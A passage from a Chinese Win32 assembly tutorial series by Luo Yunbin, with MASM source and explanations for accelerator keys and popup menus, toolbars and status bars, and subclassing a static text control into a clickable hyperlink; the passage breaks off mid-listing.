;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

        .code

include		Debug.asm
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	程序开始
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
        call	_WinMain
        invoke	ExitProcess,NULL

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	主窗口程序
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_WinMain	proc
        local	@stWcMain:WNDCLASSEX
        local	@stMsg:MSG
        local	@hAccelerator

        invoke	InitCommonControls
        invoke	GetModuleHandle,NULL
        mov	hInstance,eax
        invoke	LoadIcon,hInstance,IDI_MAIN
        mov	hIcon,eax
        invoke	LoadMenu,hInstance,IDM_MAIN
        mov	hMenu,eax
;*************** 注册窗口类 *****************************************
        invoke	LoadCursor,0,IDC_ARROW
        mov	@stWcMain.hCursor,eax
        mov	@stWcMain.cbSize,sizeof WNDCLASSEX
        mov	@stWcMain.hIconSm,0
        mov	@stWcMain.style,CS_HREDRAW or CS_VREDRAW
        mov	@stWcMain.lpfnWndProc,offset WndMainProc
        mov	@stWcMain.cbClsExtra,0
        mov	@stWcMain.cbWndExtra,0
        mov	eax,hInstance
        mov	@stWcMain.hInstance,eax
        mov	@stWcMain.hIcon,0
        mov	@stWcMain.hbrBackground,COLOR_WINDOW + 1
        mov	@stWcMain.lpszClassName,offset szClassName
        mov	@stWcMain.lpszMenuName,0
        invoke	RegisterClassEx,addr @stWcMain
;*************** 建立输出窗口 ***************************************
        invoke	CreateWindowEx,WS_EX_CLIENTEDGE,\
            offset szClassName,offset szCaptionMain,\
            WS_OVERLAPPEDWINDOW OR WS_VSCROLL OR WS_HSCROLL,\
            100,100,550,300,\
            NULL,hMenu,hInstance,NULL

        invoke	ShowWindow,hWinMain,SW_SHOWNORMAL
        invoke	UpdateWindow,hWinMain
;*************** 消息循环 *******************************************
        invoke	LoadAccelerators,hInstance,IDA_MAIN
        mov	@hAccelerator,eax
        .while	TRUE
            invoke	GetMessage,addr	@stMsg,NULL,0,0
            .break	.if eax	== 0
            invoke	TranslateAccelerator,hWinMain,@hAccelerator,addr @stMsg
            .if	eax == 0
                invoke	TranslateMessage,addr @stMsg
                invoke	DispatchMessage,addr @stMsg
            .endif
        .endw
        ret

_WinMain	endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
WndMainProc	proc	uses ebx edi esi, \
        hWnd:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD
        local	@stPos:POINT

        mov	eax,uMsg
        .if	eax ==	WM_CREATE
            mov	eax,hWnd
            mov	hWinMain,eax
            call	_Init
;********************************************************************
        .elseif	eax ==	WM_COMMAND
           .if	lParam == 0
            mov	eax,wParam
            movzx	eax,ax
            .if	eax ==	IDM_EXIT
                call	_Quit
            .elseif	eax ==	IDM_TOOLBAR
                xor	dwFlag,F_TOOLBAR
                call	_MenuStatus
            .elseif	eax ==	IDM_TOOLBARTEXT
                xor	dwFlag,F_TOOLBARTEXT
                call	_MenuStatus
            .elseif	eax ==	IDM_INPUTBAR
                xor	dwFlag,F_INPUTBAR
                call	_MenuStatus
            .elseif	eax ==	IDM_STATUSBAR
                xor	dwFlag,F_STATUSBAR
                call	_MenuStatus
            .else
                _Debug	"菜单命令","命令ID",eax
            .endif
           .endif
;********************************************************************
        .elseif	eax == WM_SYSCOMMAND
            mov	eax,wParam
            movzx	eax,ax
            .if	eax == IDM_HELP || eax == IDM_ABOUT
                _Debug	"菜单命令","命令ID",eax
            .else
                invoke	DefWindowProc,hWnd,uMsg,wParam,lParam
                ret
            .endif
;********************************************************************
;	按下右键时弹出一个POPUP菜单
;********************************************************************
        .elseif eax == WM_RBUTTONDOWN
            invoke	GetCursorPos,addr @stPos
            invoke	TrackPopupMenu,hSubMenu,TPM_LEFTALIGN,@stPos.x,@stPos.y,NULL,hWnd,NULL
;********************************************************************
        .elseif	eax ==	WM_CLOSE
            call	_Quit
;********************************************************************
        .else
            invoke	DefWindowProc,hWnd,uMsg,wParam,lParam
            ret
        .endif
;********************************************************************
;	注意：WndProc 处理 Windows 消息后，必须在 Eax 中返回 0
;	但是由 DefWindowProc 处理后的返回值不能改变，否则窗口
;	将无法显示!
;********************************************************************
        xor	eax,eax
        ret

WndMainProc	endp

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	主窗口控制子程序
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_Init		proc
        local	@hSysMenu

        invoke	SendMessage,hWinMain,WM_SETICON,ICON_SMALL,hIcon
;********************************************************************
;	POPUP菜单要用到子菜单才能实现
;********************************************************************
        invoke	GetSubMenu,hMenu,1
        mov	hSubMenu,eax
        call	_MenuStatus
;********************************************************************
;	在系统菜单中添加菜单项
;********************************************************************
        invoke	GetSystemMenu,hWinMain,FALSE
        mov	@hSysMenu,eax
        invoke	AppendMenu,@hSysMenu,MF_SEPARATOR,0,NULL
        invoke	AppendMenu,@hSysMenu,MF_STRING,IDM_HELP,offset szMenuHelp
        invoke	AppendMenu,@hSysMenu,MF_STRING,IDM_ABOUT,offset szMenuAbout

        ret

_Init		endp
;********************************************************************
;	根据标志位设置相应菜单项的状态
;********************************************************************
_MenuStatus	proc

        test	dwFlag,F_INPUTBAR
        .if	ZERO?
            invoke	CheckMenuItem,hMenu,IDM_INPUTBAR,MF_UNCHECKED
        .else
            invoke	CheckMenuItem,hMenu,IDM_INPUTBAR,MF_CHECKED
        .endif
        test	dwFlag,F_TOOLBAR
        .if	ZERO?
            invoke	CheckMenuItem,hMenu,IDM_TOOLBAR,MF_UNCHECKED
        .else
            invoke	CheckMenuItem,hMenu,IDM_TOOLBAR,MF_CHECKED
        .endif
        test	dwFlag,F_TOOLBARTEXT
        .if	ZERO?
            invoke	CheckMenuItem,hMenu,IDM_TOOLBARTEXT,MF_UNCHECKED
        .else
            invoke	CheckMenuItem,hMenu,IDM_TOOLBARTEXT,MF_CHECKED
        .endif
        test	dwFlag,F_STATUSBAR
        .if	ZERO?
            invoke	CheckMenuItem,hMenu,IDM_STATUSBAR,MF_UNCHECKED
        .else
            invoke	CheckMenuItem,hMenu,IDM_STATUSBAR,MF_CHECKED
        .endif
        ret

_MenuStatus	endp
;********************************************************************
_Quit		proc

        invoke	DestroyWindow,hWinMain
        invoke	PostQuitMessage,NULL
        ret

_Quit		endp
;********************************************************************
        end	start

程序的分析

让我们来简单分析一下这个程序，首先这个程序和上一节的最简单的窗口程序的不同之处就是消息循环，如下：

        .while	TRUE
            invoke	GetMessage,addr	@stMsg,NULL,0,0
            .break	.if eax	== 0
            invoke	TranslateAccelerator,hWinMain,@hAccelerator,addr @stMsg
            .if	eax == 0
                invoke	TranslateMessage,addr @stMsg
                invoke	DispatchMessage,addr @stMsg
            .endif
        .endw

在循环中的TranslateAccelerator用来确定存放在MSG结构中的消息是不是键盘消息，如果是，它查找句柄@hAccelerator对应的加速键表，如果找到了一个匹配项，那么它将用命令ID向窗口发送WM_COMMAND消息，同时返回非0值，这时候表示消息已经被处理，不用再调用下面的TranslateMessage 和 DispatchMessage 了，如果不是，那么它将返回0，消息循环继续。
另外，要说明的是弹出式菜单，在程序中我们响应WM_RBUTTONDOWN消息对按下右键进行处理， 然后调用GetCursorPos取得当前鼠标坐标，然后使用TrackPopupMenu在鼠标位置上弹出一个菜单，但是在资源文件中，“弹出式菜单”是无法直接定义的，所以在初始化部分，我们使用GetSubMenu 取出弹出式子菜单的句柄供TrackPopupMenu使用。

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


罗云彬的Win32汇编教程

Win32汇编教程六
工具栏和状态栏的使用

在这儿下载本节的所有源程序。

有关工具栏和状态栏

工具栏和状态栏也是Windows标准界面的组成部分，工具栏一般位于菜单栏的下方，上面是一些系统定义的或自己定义的图片，可以通俗地显示这个按钮的作用。状态栏一般位于窗口的最下方，用来显示程序运行中的一些信息。工具栏和状态栏是Windows系统的两个通用的控件，你可以通过两个专用的 API 或者利用 CreateWindowEx 再使用制定的已经由系统定义的类来创建它们。这两个 API 分别是 CreateToolbarEx 和 CreateStatusWindow。下面将一下它们的用法。
CreateToolbarEx 的声明为：

HWND CreateToolbarEx(

    HWND hwnd,
    DWORD ws,
    UINT wID,
    int nBitmaps,
    HINSTANCE hBMInst,
    UINT wBMID,
    LPCTBBUTTON lpButtons,
    int iNumButtons,
    int dxButton,
    int dyButton,
    int dxBitmap,
    int dyBitmap,
    UINT uStructSize}

它的参数中 hwnd 是父窗口（也就是我们的主窗口）的句柄，ws 是工具栏的风格，可以由几项合成，如 WS_VISIBLE 是创建是可见，TBSTYLE_FLAT表示平面按钮，WS_BORDER表示有边线等，具体可以见手册。wID 是工具栏的标识，nBitmaps 是定义按钮的图片个数，因为如果你要使用自己的图片，所有图片是要放在同一行中的，然后就由你自己指定中间的个数， hBMInst 是包含已定义系统图片的资源句柄，在你不想自己画图，使用内定的标准图片时使用，一般包含这些图片的 hInstance 已经在 Widnows.inc 中定义为 HINST_COMMCTRL，同样 wBMID 一般是 IDB_STD_SMALL_COLOR，表示使用大图片还是小图片等等。接下来是定义按钮的数据结构，中间定义了各个按钮的命令号，图片号及其他属性，结构如下：

TBBUTTON STRUCT
  iBitmap   DWORD      ?
  idCommand DWORD      ?
  fsState   BYTE       ?
  fsStyle   BYTE       ?
  bReserved BYTE 2 dup(?)
  dwData    DWORD      ?
  iString   DWORD      ?
TBBUTTON ENDS

其中，每个结构定义一个按钮，数据结构中iBitmap 是图片ID，idCommand 是按钮的命令号，这个命令号当你按下按钮的时候会出现在 WM_COMMAND 消息的 wParam 中，你就可以知道哪个按钮被按下了。fsState 是按钮的初始状态，如 TBSTATE_PRESSED 是已经按下的，详细见手册，fsStyle 是风格。
而建立状态栏的 CreateStatusWindow 的声明如下：

HWND CreateStatusWindow(

    LONG style,
    LPCTSTR lpszText,
    HWND hwndParent,
    UINT wID
   );

style 是状态栏的风格，lpszText 指向初始化是要显示在状态栏的文本，你可以指向 NULL。hwndParent 是父窗口的句柄。wID 是窗口 ID。

使用工具栏和状态栏的源程序

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	是否包括调试代码
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
DEBUG		=	1
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	Programmed by 罗云彬, bigluo@telekbird.com.cn
;	Website: http://asm.yeah.net
;	LuoYunBin's Win32 ASM page (罗云彬的编程乐园)
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	版本信息
;	工具栏和状态栏演示程序 Ver 1.0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

        .386
        .model flat, stdcall
        option casemap :none   ; case sensitive

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	Include 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

include		windows.inc
include		user32.inc
include		kernel32.inc
include		comctl32.inc
include		comdlg32.inc
include		gdi32.inc

includelib	user32.lib
includelib	kernel32.lib
includelib	comctl32.lib
includelib	comdlg32.lib
includelib	gdi32.lib

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	Equ 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

IDI_MAIN	equ		1000		;icon

IDM_MAIN	equ		4000		;menu
IDM_TOOLBAR	equ		4001
IDM_STATUSBAR	equ		4002
IDM_EXIT	equ		4003
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

        .data?

hInstance	dd		?
hWinMain	dd		?
hMenu		dd		?
hIcon		dd		?
hToolbar	dd		?
hStatusbar	dd		?

szBuffer	db	256 dup	(?)

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

        .data

szClassName	db	"Toolbar Template",0
szCaptionMain	db	'工具栏和状态栏演示程序 - 罗云彬',0
dwFlag		dd	F_TOOLBAR or F_STATUSBAR
;********************************************************************
;	标志位定义
F_TOOLBAR	equ	00000001b
F_STATUSBAR	equ	00000010b
stToolbar	TBBUTTON	< STD_FILENEW,1,TBSTATE_ENABLED,TBSTYLE_BUTTON,2 dup(0),-1>
        TBBUTTON	<0,0,TBSTATE_ENABLED,TBSTYLE_SEP,2 dup(0),-1>
        TBBUTTON	< STD_FILEOPEN,2,TBSTATE_ENABLED,TBSTYLE_BUTTON,2 dup(0),-1>
        TBBUTTON	< STD_FILESAVE,3,TBSTATE_ENABLED,TBSTYLE_BUTTON,2 dup(0),-1>
        TBBUTTON	<0,0,TBSTATE_ENABLED,TBSTYLE_SEP,2 dup(0),-1>
        TBBUTTON	< STD_PRINT,4,TBSTATE_ENABLED,TBSTYLE_BUTTON,2 dup(0),-1>
        TBBUTTON	< STD_PRINTPRE,0,TBSTATE_ENABLED,TBSTYLE_SEP,2 dup(0),-1>
NUM_BUTTONS	EQU	7

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

        .code

if		DEBUG
    include		Debug.asm
endif

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	程序开始
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
        call	_WinMain
        invoke	ExitProcess,NULL

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	主窗口程序
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_WinMain	proc
        local	@stWcMain:WNDCLASSEX
        local	@stMsg:MSG

;********************************************************************
;	如果已经在运行，则激活已运行的进程
;********************************************************************
        invoke	FindWindow,offset szClassName,NULL
        .if	eax != NULL
            invoke	ShowWindow,eax,SW_SHOWNORMAL
            invoke	ExitProcess,NULL
        .endif

        invoke	InitCommonControls
        invoke	GetModuleHandle,NULL
        mov	hInstance,eax
        invoke	LoadIcon,hInstance,IDI_MAIN
        mov	hIcon,eax
        invoke	LoadMenu,hInstance,IDM_MAIN
        mov	hMenu,eax
;*************** 注册窗口类 *****************************************
        invoke	LoadCursor,0,IDC_ARROW
        mov	@stWcMain.hCursor,eax
        mov	@stWcMain.cbSize,sizeof WNDCLASSEX
        mov	@stWcMain.hIconSm,0
        mov	@stWcMain.style,CS_HREDRAW or CS_VREDRAW
        mov	@stWcMain.lpfnWndProc,offset WndMainProc
        mov	@stWcMain.cbClsExtra,0
        mov	@stWcMain.cbWndExtra,0
        mov	eax,hInstance
        mov	@stWcMain.hInstance,eax
        mov	@stWcMain.hIcon,0
        mov	@stWcMain.hbrBackground,COLOR_BTNFACE+1
        mov	@stWcMain.lpszClassName,offset szClassName
        mov	@stWcMain.lpszMenuName,0
        invoke	RegisterClassEx,addr @stWcMain
;*************** 建立输出窗口 ***************************************
        invoke	CreateWindowEx,NULL,\	;WS_EX_CLIENTEDGE,\
            offset szClassName,offset szCaptionMain,\
            WS_OVERLAPPEDWINDOW,\	; OR WS_VSCROLL OR WS_HSCROLL,\
            50,50,550,350,\
            NULL,hMenu,hInstance,NULL

        invoke	ShowWindow,hWinMain,SW_SHOWNORMAL
        invoke	UpdateWindow,hWinMain
;*************** 消息循环 *******************************************
        .while	TRUE
            invoke	GetMessage,addr @stMsg,NULL,0,0
            .break	.if eax	== 0
            invoke	TranslateMessage,addr @stMsg
            invoke	DispatchMessage,addr @stMsg
        .endw
        ret

_WinMain	endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
WndMainProc	proc	uses ebx edi esi, \
        hWnd:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD

        mov	eax,uMsg
        .if	eax ==	WM_CREATE
            mov	eax,hWnd
            mov	hWinMain,eax
            call	_Init
;********************************************************************
        .elseif	eax ==	WM_SIZE
            invoke	SendMessage,hStatusbar,uMsg,wParam,lParam
            invoke	SendMessage,hToolbar,uMsg,wParam,lParam
;********************************************************************
        .elseif	eax ==	WM_COMMAND
            mov	eax,wParam
            movzx	eax,ax
            .if	eax ==	IDM_EXIT
                call	_Quit
            .elseif	eax ==	IDM_TOOLBAR
                xor	dwFlag,F_TOOLBAR
                call	_ArrangeWindow
            .elseif	eax ==	IDM_STATUSBAR
                xor	dwFlag,F_STATUSBAR
                call	_ArrangeWindow
            .else
                _Debug	"菜单和工具栏命令","命令ID",eax
            .endif
;********************************************************************
        .elseif	eax ==	WM_CLOSE
            call	_Quit
;********************************************************************
        .else
            invoke	DefWindowProc,hWnd,uMsg,wParam,lParam
            ret
        .endif
;********************************************************************
;	注意：WndProc 处理 Windows 消息后，必须在 Eax 中返回 0
;	但是由 DefWindowProc 处理后的返回值不能改变，否则窗口
;	将无法显示!
;********************************************************************
        xor	eax,eax
        ret

WndMainProc	endp

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	主窗口控制子程序
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_Init		proc

        invoke	SendMessage,hWinMain,WM_SETICON,ICON_SMALL,hIcon
        invoke	CreateToolbarEx,hWinMain,\
            WS_VISIBLE or WS_CHILD or TBSTYLE_FLAT or WS_BORDER,\
            1,0,HINST_COMMCTRL,IDB_STD_SMALL_COLOR,offset stToolbar,\
            NUM_BUTTONS,0,0,0,0,sizeof TBBUTTON
        mov	hToolbar,eax

        invoke	CreateStatusWindow,WS_CHILD or WS_VISIBLE,NULL,hWinMain,2
        mov	hStatusbar,eax
        call	_ArrangeWindow

        ret

_Init		endp
;********************************************************************
_Quit		proc

        invoke	DestroyWindow,hWinMain
        invoke	PostQuitMessage,NULL
        ret

_Quit		endp
;********************************************************************
_ArrangeWindow	proc
        local	@stRect:RECT
        local	@stRectTemp:RECT
        local	@dwWidth:DWORD

        test	dwFlag,F_TOOLBAR
        .if	ZERO?
            invoke	ShowWindow,hToolbar,SW_HIDE
            invoke	CheckMenuItem,hMenu,IDM_TOOLBAR,MF_UNCHECKED
        .else
            invoke	ShowWindow,hToolbar,SW_SHOW
            invoke	CheckMenuItem,hMenu,IDM_TOOLBAR,MF_CHECKED
        .endif
        test	dwFlag,F_STATUSBAR
        .if	ZERO?
            invoke	ShowWindow,hStatusbar,SW_HIDE
            invoke	CheckMenuItem,hMenu,IDM_STATUSBAR,MF_UNCHECKED
        .else
            invoke	ShowWindow,hStatusbar,SW_SHOW
            invoke	CheckMenuItem,hMenu,IDM_STATUSBAR,MF_CHECKED
        .endif

        ret

_ArrangeWindow	endp
;********************************************************************
        end	start

程序的分析和要点

在工具栏和状态栏编程中，要注意的就是工具栏和状态栏并不会随父窗口的大小变化自己调整位置和大小，所以要在父窗口的 WM_SIZE 消息中来移动和调整它们，这可以简单的把 WM_SIZE 消息传给它们就行了。不必自己再去计算。

        .elseif	eax ==	WM_SIZE
            invoke	SendMessage,hStatusbar,uMsg,wParam,lParam
            invoke	SendMessage,hToolbar,uMsg,wParam,lParam

另外，工具栏和状态栏也是一种子窗口，所以如果想把它们隐藏或显示的话，可以用标准的 ShowWindow 来处理。

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


罗云彬的Win32汇编教程

Win32汇编教程七
控件的子类化

在这儿下载本节的所有源程序。

有关控件子类化

说到类，大家可能马上就想到C++，的确，类首先是在C中提出的，但是，这个概念在 Win32Asm 中仍然适用，因为在类的思路是这样的：先假设某个对象有不同的属性，当一个新的对象的某个属性和上面所说的对象有些不同，而别的属性一模一样，那么实际上除了处理这个属性的代码有些不同外，别的代码完全可以使用前面的对象的代码。在具体的应用中，我举个例子，比如说我们定义一个 "edit" 控件，那么这个控件的行为是由 Windows 内定的，因为它的窗口过程是在 Windows 系统内部的，但假如我们想编一个有语法检查的 "edit" 控件，是否我们除了语法检查的代码以外，还要编写很多代码来实现老的 "edit" 控件一模一样的功能呢？答案当然是否定的，实际上，我们可以截获一个标准 "edit"控件的 WM_CHAR 消息，检查键入的键并做处理，别的消息可以传给原来的窗口过程。示意如下：

在子类化之前： Windows => edit 控件的窗口过程

在子类化之后： Windows => 我们的过程代码 => edit 控件的窗口过程

在Windows 的 API 中有个函数可以用来实现这个功能，那就是 SetWindowLong PROTO hWnd,nIndex,dwNewLong ，参数的意思是 hWnd 是你要改变的窗口句柄，nIndex 是我们要改变窗口的什么属性，它的值可以是 GWL_EXSTYLE：改变窗口风格，GWL_WNDPROC：设置窗口的新的过程，这正是我们感兴趣的，还有是 GWL_USERDATA 这是窗口自定义的一个32位的数据。dwNewLong 是新的值，还有一个 API 是用来调用原来的窗口过程的，叫 CallWindwoProc PROTO lpPrevWndFunc,hWnd,Msg,wParam,lParam。
我们在使用时有下面的过程：

  1. 用 SetWindowLong,hWnd,GWL_WNDPROC,addr _NewProcAddress 设置我们自己的代码的地址，API 返回原来的过程地址
  2. 用 SetWindowLong,hWnd,GWL_USERDATA,eax 把原来的过程地址保存在自定义数据中。
  3. 这样，所有消息会先送到我们的过程中，然后在我们自己的过程中：
  4. 对要处理的消息进行处理，如果不希望原来的过程再处理，那么返回。
  5. 对自己不处理的消息，调用原来的窗口过程处理，并把返回值返回。方法是：
  6. 用 invoke GetWindowLong,hWnd,GWL_USERDATA 取出自定义数据中保存的原过程地址
  7. 用 invoke CallWindowProc,eax,hWnd,uMsg,wParam,lParam 调用原过程 UINT uStructSize}

本节教程提供了一个源程序，它是实现对话框中的文本的 URL 连接过程，我们看到有的程序中的文本是蓝色的，有下划线，然后鼠标移动到上面会变手型，就象浏览器中的超联结一样，而且按下会自动连接到网站上，仔细想想，我们并没有一个标准的控件或 API 来实现这样一个功能，因为这首先是一个文本，所以我们可以对这个文本进行子类化，处理它的WM_LBUTTONUP 消息来实现按下自动连上网站的功能；处理 WM_SETCURSOR 消息来让鼠标移到上面改变光标，具体源程序如下：

源程序 - 资源文件

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;************************************************
#include

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	Icon	 1000 开始
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
#define	IDI_MAIN		1000
#define	IDC_HANDLE		2000

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	对话框	3000 开始
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
#define	DLG_ABOUT		3000

#define	ID_EMAIL		3001
#define	ID_HOMEPAGE		3002

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	资源定义开始
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
IDI_MAIN	ICON		"Main.ico"
IDC_HANDLE	CURSOR		"Handle.cur"
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
DLG_ABOUT	DIALOG DISCARDABLE	50, 50, 160, 30
STYLE		DS_MODALFRAME |	WS_POPUP | WS_CAPTION | WS_SYSMENU
CAPTION		"URL 联结文本演示 - by 罗云彬"
FONT		9, "宋体"
BEGIN
    LTEXT		"我的主页:   ",-1,			5,5,54,9
    LTEXT		"http://asm.yeah.net",	ID_HOMEPAGE,	55,5,80,9
    LTEXT		"我的E-mail: ",		-1,		5,17,54,9
    LTEXT		"bigluo@telekbird.com.cn",ID_EMAIL,	55,17,95,9
END

源程序 - 汇编源文件

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	是否包括调试代码
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
DEBUG		=	0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	Programmed by 罗云彬, bigluo@telekbird.com.cn
;	Website: http://asm.yeah.net
;	LuoYunBin's Win32 ASM page (罗云彬的编程乐园)
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	版本信息
;	窗口子类化演示程序 Ver 1.0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

        .386
        .model flat, stdcall
        option casemap :none   ; case sensitive

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	Include 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

include		windows.inc
include		user32.inc
include		kernel32.inc
include		comctl32.inc
include		comdlg32.inc
include		shell32.inc
include		gdi32.inc

includelib	user32.lib
includelib	kernel32.lib
includelib	comctl32.lib
includelib	comdlg32.lib
includelib	shell32.lib
includelib	gdi32.lib

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	Equ 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

IDI_MAIN	equ		1000		;icon
IDC_HANDLE	equ		2000		;handle cursor

DLG_ABOUT	equ		3000		;dialog - about
ID_EMAIL	equ		3001
ID_HOMEPAGE	equ		3002

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;	数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

        .data?

hInstance	dd		?
hIcon		dd		?

szBuffer	db	256 dup	(?)

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_HyperLinkProc	proto	:DWORD,:DWORD,:DWORD,:DWORD
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

        .data

hCursorHandle	dd	?
szHomePage	db	"http://asm.yeah.net",0
szEmail		db	"mailto:bigluo@telekbird.com.cn"
        db	"?subject=嗨！我喜欢你的程序！",0

        .code

if		DEBUG
    include		Debug.asm
endif
;********************************************************************
;	关于对话框中超级连接的窗口程序
;********************************************************************
_HyperLinkProc	proc	hWnd:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD

        mov	eax,uMsg
        .if	eax ==	WM_LBUTTONUP
            invoke	GetDlgCtrlID,hWnd
            .if	eax ==	ID_HOMEPAGE
                invoke	ShellExecute,0,0,offset szHomePage,0,0,0
            .elseif	eax ==	ID_EMAIL
                invoke	ShellExecute,0,0,offset szEmail,0,0,0
            .endif
        .elseif	eax ==	WM_NCHITTEST
